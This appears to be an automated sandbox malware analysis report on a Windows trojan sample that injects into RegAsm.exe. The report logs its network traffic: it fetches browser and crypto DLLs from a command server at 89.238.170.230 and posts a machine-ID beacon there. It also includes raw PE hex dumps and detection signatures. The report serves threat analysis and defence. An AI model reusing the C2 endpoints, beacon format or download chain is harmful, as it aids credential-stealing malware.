00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Mar 2024 13:25:31 GMTContent-Type: application/octet-streamContent-Length: 254392Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 19:39:58 GMTETag: "6254840e-3e1b8"Expires: Fri, 29 Mar 2024 13:55:31 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 27 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f2 00 00 00 00 00 00 80 ce 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 a1 de 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 74 76 03 00 53 01 00 00 c7 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c2 03 00 b8 1f 00 00 00 c0 03 00 98 35 00 00 68 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 44 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 ca 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 04 ac 00 00 00 e0 02 00 00 ae 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 35 00 00 00 c0 03 00 00 36 00 00 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 29 Mar 2024 13:25:35 GMTContent-Type: application/octet-streamContent-Length: 1099223Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 17:28:56 GMTETag: "62546558-10c5d7"Expires: Fri, 29 Mar 2024 13:55:35 GMTCache-Control: max-age=1800Cache-Control: publicAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 22 a9 2c 62 00 76 0e 00 b2 13 00 00 e0 00 06 21 0b 01 02 19 00 0c 0b 00 00 fa 0c 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 20 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 0f 00 00 06 00 00 c8 9d 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 0c 00 6e 2a 00 00 00 e0 0c 00 d0 0c 00 00 00 10 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0d 00 e0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c e2 0c 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac 0a 0b 00 00 10 00 00 00 0c 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 20 0b 00 00 28 00 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 10 44 01 00 00 50 0b 00 00 46 01 00 00 3a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 a0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 6e 2a 00 00 00 b0 0c 00 00 2c 00 00 00 80 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 e0 0c 00 00 0e 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 f0 0c 00 00 02 00 00 00 ba 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 00 0d 00 00 02 00 00 00 bc 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 10 0d 00 00 06 00 00 00 be 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 e0 3b 00 00 00 20 0d 00 00 3c 00 00 00 c4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 60 0d 00 00 06 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 70 0d 00 00 ca 00 00 00 06 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 40 0e 00 00 28 00 00 00
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: M247GB M247GB
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: unknown TCP traffic detected without corresponding DNS query: 89.238.170.230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040AF5D LocalAlloc,OutputDebugStringA,SetEnvironmentVariableA,LocalAlloc,LocalAlloc,LocalAlloc,StrStrW,lstrlenW,lstrlenW,lstrlenW,StrToIntW,LocalFree,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,InternetOpenW,InternetOpenW,InternetConnectW,InternetConnectW,HttpOpenRequestW,HttpOpenRequestW,lstrlenA,HttpSendRequestW,lstrlenW,HttpSendRequestW,LocalAlloc,SetEnvironmentVariableA,LocalFree,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,OutputDebugStringA,CreateFileMappingW,FindCloseChangeNotification,GetLastError,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,GetLastError,CreateEventA,SetEvent,ResetEvent,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,LocalAlloc,SetEnvironmentVariableA,SetEnvironmentVariableA,LocalFree,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,lstrlenA,MultiByteToWideChar,MultiByteToWideChar,LocalAlloc,SetEnvironmentVariableA,lstrlenA,MultiByteToWideChar,MultiByteToWideChar,LocalFree,LocalFree,LocalFree, 3_2_0040AF5D
Source: global traffic HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1Content-Type: text/plain;User-Agent: MrBidenNeverKnowHost: 89.238.170.230Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1Content-Type: text/plain;User-Agent: MrBidenNeverKnowHost: 89.238.170.230Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1Content-Type: text/plain;User-Agent: MrBidenNeverKnowHost: 89.238.170.230Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1Content-Type: text/plain;User-Agent: MrBidenNeverKnowHost: 89.238.170.230Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1Content-Type: text/plain;User-Agent: MrBidenNeverKnowHost: 89.238.170.230Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1Content-Type: text/plain;User-Agent: MrBidenNeverKnowHost: 89.238.170.230Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1Content-Type: text/plain;User-Agent: MrBidenNeverKnowHost: 89.238.170.230Connection: Keep-AliveCache-Control: no-cache
Source: unknown HTTP traffic detected: POST / HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: MrBidenNeverKnowHost: 89.238.170.230Content-Length: 98Connection: Keep-AliveCache-Control: no-cacheData Raw: 6d 61 63 68 69 6e 65 49 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 7c 66 72 6f 6e 74 64 65 73 6b 26 63 6f 6e 66 69 67 49 64 3d 64 31 66 63 39 35 63 36 31 37 39 62 65 34 62 30 62 34 66 39 33 65 66 66 36 61 62 33 66 30 38 66 Data Ascii: machineId=9e146be9-c76a-4720-bcdb-53011b87bd06|user&configId=d1fc95c6179be4b0b4f93eff6ab3f08f
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001586000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll.dll
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dllS
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll.dll
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dllU
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001586000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll7
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll;z
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dlll
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dllr
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dllc
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001586000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dllE
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dlla
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dlldllh
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dlll
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001586000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll)
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlldll
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlldll~
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlll
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlllR
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001586000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll3
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dllF
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dllI
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dlla
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dllt
Source: RegAsm.exe, 00000003.00000002.2418304008.0000000001561000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/m
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000153A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230/w
Source: RegAsm.exe, 00000003.00000002.2418304008.000000000150A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://89.238.170.230:80
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: Amcache.hve.7.dr String found in binary or memory: http://upx.sf.net
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: mozglue.dll.3.dr String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: sqlite3.dll.3.dr String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: https://mozilla.org0
Source: softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: https://www.digicert.com/CPS0

System Summary
barindex
.NET source code contains very large array initializations
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, KtGhbKBFWBVsWN4BBFA.cs Large array initialization: KtGhbKBFWBVsWN4BBFA: array initializer size 82432
Detected potential crypto function
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Code function: 0_2_030410D8 0_2_030410D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00404B50 3_2_00404B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409ADC 3_2_00409ADC
One or more processes crash
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 760 -s 992
PE file contains more sections than normal
Source: sqlite3.dll.3.dr Static PE information: Number of sections : 18 > 10
Sample file is different than original file name gathered from version info
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.000000000141E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000000.1174572405.0000000000EC2000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameBirding.exe4 vs SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe
